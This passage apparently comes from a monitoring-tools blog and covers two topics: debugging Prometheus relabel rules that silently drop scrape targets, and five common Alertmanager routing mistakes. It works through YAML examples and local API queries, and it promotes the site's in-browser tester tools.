Prometheus exposes the pre-relabel discovery labels — the __meta_* labels — but only for targets that survived relabeling, so a fully dropped target won't appear. The trick is to reload with the relabel rules temporarily removed (or pared down to a single permissive keep), then read the raw discovery labels:

# Show discovered labels for the job, including the __meta_* set the
# relabel rules actually see as input.
curl -s 'localhost:9090/api/v1/targets?state=active' \
  | jq '.data.activeTargets[]
        | select(.discoveredLabels.job=="api")
        | .discoveredLabels'

discoveredLabels is the input to your relabel_configs. labels is the output. If a target is dropped entirely, you can also read the service discovery state directly:

curl -s localhost:9090/api/v1/targets/metadata >/dev/null  # sanity check API is up
curl -s 'localhost:9090/service-discovery' # the SD page shows pre-relabel labels

2. Test the rules against those labels

Now you have the input. Paste the __meta_* labels and your relabel_configs into the Prometheus Relabel Tester and run them. It applies the rules exactly the way Prometheus does — anchored regex, ; separator, $1/${1} expansion — and tells you, per label set, the resulting labels, which ones were added, changed, or removed, and whether the target was dropped (and by which rule).

3. Bisect the rule list

If you have a long chain, comment out the second half of the rules and re-run. If the target survives, the culprit is in the half you removed; if it still drops, it's in the half that's left. Halve again. Because relabeling is a deterministic top-to-bottom chain — each rule sees the output of the one before it — bisection converges fast, usually in two or three rounds.

Worked example: the disappearing target, found and fixed

Here's a real shape of this bug. You discover a pod, want to keep only opted-in pods, and route by environment. The target never shows up.

relabel_configs:
  - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
    action: keep
    regex: "true"

  - source_labels: [__meta_kubernetes_pod_label_env]
    action: keep
    regex: prod

The discovery labels for the target you expected:

__meta_kubernetes_pod_annotation_prometheus_io_scrape="true"
__meta_kubernetes_pod_label_app="api"
__meta_kubernetes_pod_label_env="production"
__address__="10.0.0.5:8080"

Run that input through the rules. The first keep passes — prometheus_io_scrape is exactly "true". The second keep joins to production and tries to match ^(?:prod)$. It doesn't. production is not prod, the regex is anchored, and keep drops anything that fails to match. Rule 2 dropped the target. The tester flags exactly that: dropped by rule 2, action keep.

The fix is to match the real value:

  - source_labels: [__meta_kubernetes_pod_label_env]
    action: keep
    regex: prod.*       # ^(?:prod.*)$ — now matches "production"

Re-run. The target survives, carries __address__="10.0.0.5:8080", and appears in /targets. Total time: under a minute, with no Prometheus reload and no waiting on a scrape interval.

While you're cleaning up, the same chain often promotes pod labels and prunes discovery metadata. Note that labelmap operates on label names, copying matching labels to a new name, and labeldrop removes labels whose names match — useful, but another place a label you wanted can quietly disappear:

  # Promote pod labels: __meta_kubernetes_pod_label_app="api" → app="api"
  - action: labelmap
    regex: __meta_kubernetes_pod_label_(.+)

  # Strip leftover discovery metadata before storage.
  - action: labeldrop
    regex: __meta_.+

Catch it before deploy

The fastest debugging loop is the one that never reaches a live Prometheus. The reason relabeling is so easy to get wrong is that it fails silently: there's no parse error, no log line, just a target that isn't there. The only honest check is to run the rules against representative input and read the output — the same idea behind testing any behavioral config rather than trusting a schema lint.

When you're staring at a "prometheus dropped target" mystery or a "prometheus label disappeared" report, grab the discoveredLabels from the API, paste them with your rules into the Prometheus Relabel Tester, and watch which rule does the damage — it runs entirely in your browser, so internal scrape configs and target metadata never leave your tab.

Once the labels are right, the rest of the observability chain follows. Break down a query that depends on those labels with the PromQL Explainer, or confirm an alert on the resulting series lands in the right place with the Alertmanager Route Tester. Shape the labels first; everything downstream depends on getting that step correct.

Why Isnt My Alert Reaching the Right Receiver? Debugging Alertmanager Routing

opscanopy — Mon, 27 Jul 2026 17:28:17 +0000

You shipped a new alerting rule, it fired in production, and the page went to the wrong team — or nobody got paged at all. The rule is correct and the alert is firing, yet your Alertmanager wrong-receiver problem is real: the notification landed somewhere you did not expect. When Alertmanager is not routing the way you intended, the bug is almost never in the alert. It is in the route tree, and routing trees are code you cannot easily step through.

Alertmanager dispatches every alert by walking a tree of routes. The root is the catch-all every alert enters; from there it descends into child routes whose matchers hold against the alert's labels. Get the walk wrong and the alert silently lands on the wrong leaf. This post covers the five bugs that cause it, and how to walk the tree yourself — no amtool, no reload, no live instance.

The symptom: silent pages, or the wrong team gets paged

Two shapes of the same problem. Either an alert you expected to page the database team went to a catch-all Slack channel nobody watches, or a severity=critical alert produced no page at all. Both come from the same root cause: the route the alert actually matched is not the route you think it matched.

Here is the tree most people start from — the canonical routing example:

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'cluster', 'service']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h
  routes:
    - receiver: 'team-X-mails'
      match:
        team: frontend
    - receiver: 'team-DB-pages'
      match:
        service: database
    - receiver: 'team-Y-mails'
      match:
        team: backend

An alert with service=database reaches team-DB-pages. Simple enough — until the tree grows, siblings get reordered, someone adds a regex, and the walk stops doing what you read off the page. The fix is always the same: stop reasoning in your head and walk the tree against the exact labels the alert carries. Every bug below is a different way the walk surprises you.

Bug 1: first match wins and you forgot continue: true

This is the most common Alertmanager-not-routing bug. Within a matched route, child routes are evaluated top to bottom, and the alert descends into the first matching child — then the sibling scan stops. Later siblings never run.

That bites hardest when you want an alert to reach two receivers — say, every critical alert mirrored to an audit receiver and routed to the owning team:

route:
  receiver: 'default-receiver'
  group_by: ['alertname']
  routes:
    - receiver: 'all-critical-audit'
      matchers:
        - severity="critical"
    - receiver: 'team-Y-pages'
      match:
        team: backend

Fire an alert with team=backend and severity=critical. It matches the first sibling, all-critical-audit, and the scan stops there. team-Y-pages is never reached, so the backend team is never paged. The audit channel logged it, so it looks like routing worked — which is exactly why this one is hard to spot.

The fix is one line. A matched route with continue: true does not stop the sibling scan, so the alert keeps falling through to later matching siblings:

    routes:
      - receiver: 'all-critical-audit'
        matchers:
          - severity="critical"
        continue: true        # keep going to later siblings
      - receiver: 'team-Y-pages'
        match:
          team: backend

Now both fire. An alert can only reach more than one receiver when continue: true is set on a matched route; without it, the first matching sibling always wins.

Bug 2: the matcher does not match (regex, quoting, a missing label)

If the alert silently skips a route you were sure it would hit, the matcher probably is not matching. Three traps account for almost all of these.

Regexes are fully anchored. Both match_re and the =~ / !~ operators wrap your pattern as ^(?:…)$. A partial pattern never matches a longer value:

matchers:
  - env=~"staging"      # env=staging-eu does NOT match — anchored to exactly "staging"

matchers:
  - env=~"staging-.*"   # env=staging-eu matches now

A missing label is the empty string. Alertmanager treats a label absent on the alert as "", so team="" matches an alert with no team label and team!="" requires it to be present and non-empty. If you write match: { team: frontend } but the alert never sets a team label, the matcher compares frontend against "", fails, and the route is skipped — you fall through.

Operators and quoting in matchers: strings. The modern matchers: form takes strings like foo="bar", foo=~"re", foo!="x", and foo!~"re"; the value can be quoted or bare. The two-character operators (=~, !~, !=) are matched before the single =, so severity!="info" parses as a not-equal. Get the quoting wrong — leave a quote open, say — and the matcher is invalid; an invalid matcher cannot hold, so the route is skipped.

Here is a matcher route that combines a regex with an inequality:

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'env']
  routes:
    - receiver: 'staging-slack'
      matchers:
        - env=~"staging-.*"
        - severity!="info"
    - receiver: 'prod-pager'
      match_re:
        env: 'prod-.*'

All matchers on a route must hold for it to match — it is a logical AND. An alert with env=staging-eu and severity=warning reaches staging-slack: the anchored staging-.* matches and severity is not info. Change severity to info and the second matcher fails, so the whole route is skipped.

If your alert rules carry the wrong labels in the first place — or are missing the ones your routes match on — fix that upstream. The Prometheus Relabel Tester previews exactly what labels survive your relabel rules before they ever reach the route tree.

Bug 3: a catch-all default route swallows everything before your route is reached

An Alertmanager catch-all route is supposed to be a safety net — the receiver that fires when nothing more specific matches. But a catch-all placed above a specific sibling, instead of below it, turns into a trap. Combined with first-match-wins, a broad rule at the top shadows every specific rule beneath it:

# Trap: the broad rule above shadows the specific one
routes:
  - receiver: catch-all
    matchers: ['severity=~".*"']   # matches everything
  - receiver: db-pager             # NEVER reached
    match: { service: database }

severity=~".*" matches any alert that has a severity label (anchored, but .* covers the whole value). It is the first sibling, so the scan stops there — db-pager is dead code. The database team never pages.

There are two correct ways to think about a catch-all. Either put your specific routes first and the broad one last:

# Fix: specific first, broad last
routes:
  - receiver: db-pager
    match: { service: database }
  - receiver: catch-all
    matchers: ['severity=~".*"']

Or rely on the real catch-all you already have — the root route's own receiver. When no child route matches, the route the alert is sitting in becomes the terminal match and its receiver fires. The root always sets a default receiver, so an alert that matches no child still lands somewhere:

route:
  receiver: 'default-receiver'     # the true catch-all
  group_by: ['alertname']
  routes:
    - receiver: 'team-X-mails'
      match: { team: frontend }
    - receiver: 'team-Y-mails'
      match: { team: backend }

An alert with team=platform matches neither child. It does not error and it does not vanish — it falls through to default-receiver, the catch-all working as intended. The "why didn't my alert route?" cases are usually this: it did route, straight to the default, because no child matched. If a route resolves to no receiver at all, that is a genuine misconfiguration — Alertmanager requires the root to set a default receiver.

Bug 4: route ordering among siblings

Bug 3 is a catch-all swallowing everything. Bug 4 is the subtler, more general version: among siblings, order always decides which single route wins, even when both are specific. Because only the first matching sibling is taken (absent continue), two overlapping matchers in the wrong order route the alert to the wrong team.

Consider an alert that is both a database alert and a backend-team alert:

# labels: service=database, team=backend, severity=critical
routes:
  - receiver: 'team-Y-pages'      # matches team=backend
    match: { team: backend }
  - receiver: 'team-DB-pages'     # matches service=database
    match: { service: database }

Both routes' matchers hold against this alert. Order breaks the tie: team-Y-pages is first, so it wins, and the database on-call (team-DB-pages) is never reached. Swap the two and the database route wins instead. Neither matcher is wrong — the order is the bug.

When two siblings can legitimately both match, you have three choices: put the one you want to win first, make the matchers mutually exclusive (add service!=database to the backend route, say), or set continue: true on the first so the alert reaches both. Nesting helps too — a parent matches the broad case and narrows it with children:

route:
  receiver: 'default-receiver'
  group_by: ['alertname']
  routes:
    - receiver: 'web-team'
      match:
        service: web
      group_by: ['alertname', 'instance']
      routes:
        - receiver: 'web-team-pager'
          matchers:
            - severity="critical"
        - receiver: 'web-team-slack'
          matchers:
            - severity=~"warning|info"

An alert with service=web first descends into web-team, then the nested children pick the receiver by severity. A severity=critical web alert walks root → web-team → web-team-pager. The descent is explicit, so order surprises stay local to one small sibling list instead of hiding across the whole tree.

Bug 5: grouping makes an alert look missing when it is just batched

Sometimes the alert routed perfectly and you still think it is missing — because grouping batched it with others and the notification has not been sent yet. Grouping is controlled by group_by, group_wait, group_interval, and repeat_interval, and all four are inherited down the tree. A child that does not set its own carries the parent's:

route:
  group_by: ['alertname', 'cluster']
  group_wait: 30s
  routes:
    - receiver: db-pager
      match: { service: database }
      # no group_by here → INHERITS ['alertname', 'cluster']

The db-pager leaf has no group_by of its own, so it inherits ['alertname', 'cluster'] and a 30s group_wait from the root. Two consequences trip people up. First, a new group is held for group_wait before its first notification — so a freshly fired alert that "isn't paging" may just be inside its wait window. Second, if group_by is too coarse, your alert gets folded into an existing group's notification and looks like it never fired separately.

Override only where a subtree actually needs different grouping:

route:
  group_by: ['alertname', 'cluster']
  routes:
    - receiver: db-pager
      match: { service: database }
      group_by: ['alertname', 'cluster', 'database']

The leaf you are reading is not necessarily the grouping that applies. Always resolve the effective group_by — the value inherited from the nearest ancestor that set it — before you conclude an alert is missing.

Test Alertmanager routing without amtool: walk the tree against the alerts labels

You do not need amtool config routes test, and you do not need to reload a live Alertmanager to do route debugging. The routing walk is deterministic, so you can do it by hand. Take the exact labels off the firing alert and walk the tree top-down:

# The labels the alert actually carries (from the Alertmanager UI or API):
alertname=HighLatency
service=database
team=backend
severity=critical

Then, starting at the root:

Enter the root. Every alert does — it is the catch-all. Note its receiver and group_by as the inheritance baseline.
Scan children top to bottom. For each child, check whether all its matchers hold against the labels. Remember: regexes are anchored, and a missing label is "".
Descend into the first match. That child's subtree is now where you are. If it set continue: true, keep scanning its later siblings too — those become additional matches.
If no child matches, you are done. The current route is the terminal match; its inherited receiver fires.
Resolve inheritance at the leaf. The effective receiver and group_by come from the nearest ancestor that set them, not necessarily the leaf.

Do that for the labels above against the docs tree and you land on team-DB-pages via service=database, inheriting group_by from the root. Doing this walk on paper for a 40-node tree is exactly the error-prone reasoning that produced the bug in the first place — which is the whole reason a tester exists.

Find the matching receiver now: an Alertmanager route debugger in the browser

When the tree is more than a few nodes, walk it with the Alertmanager Route Tester instead of in your head. Paste your route tree — a bare route: block or a full alertmanager.yml, of which only the route block is read — and the sample alert's labels, one key=value per line. It reproduces the semantics exactly: first-match-wins, continue: true fan-out, anchored regexes, missing-label-as-empty-string, and grouping inheritance.

What you get back is every receiver the alert reaches, in evaluation order, each with its route-path breadcrumb from the root down to the matched node, a tag on any match reached only via continue, and the effective group_by after inheritance. It is a dry run of dispatch — no notification is sent, nothing is uploaded, and it all runs in your browser, so you can safely paste internal receiver names and private team labels.

Once the labels are confirmed correct at the source with the Prometheus Relabel Tester and your rules are proven to fire with AlertLint, the route tree is the last hop to get right. Walk it before it pages anyone — and the next time an alert reaches the wrong receiver, you will know which node sent it there.

Open the Alertmanager Route Tester →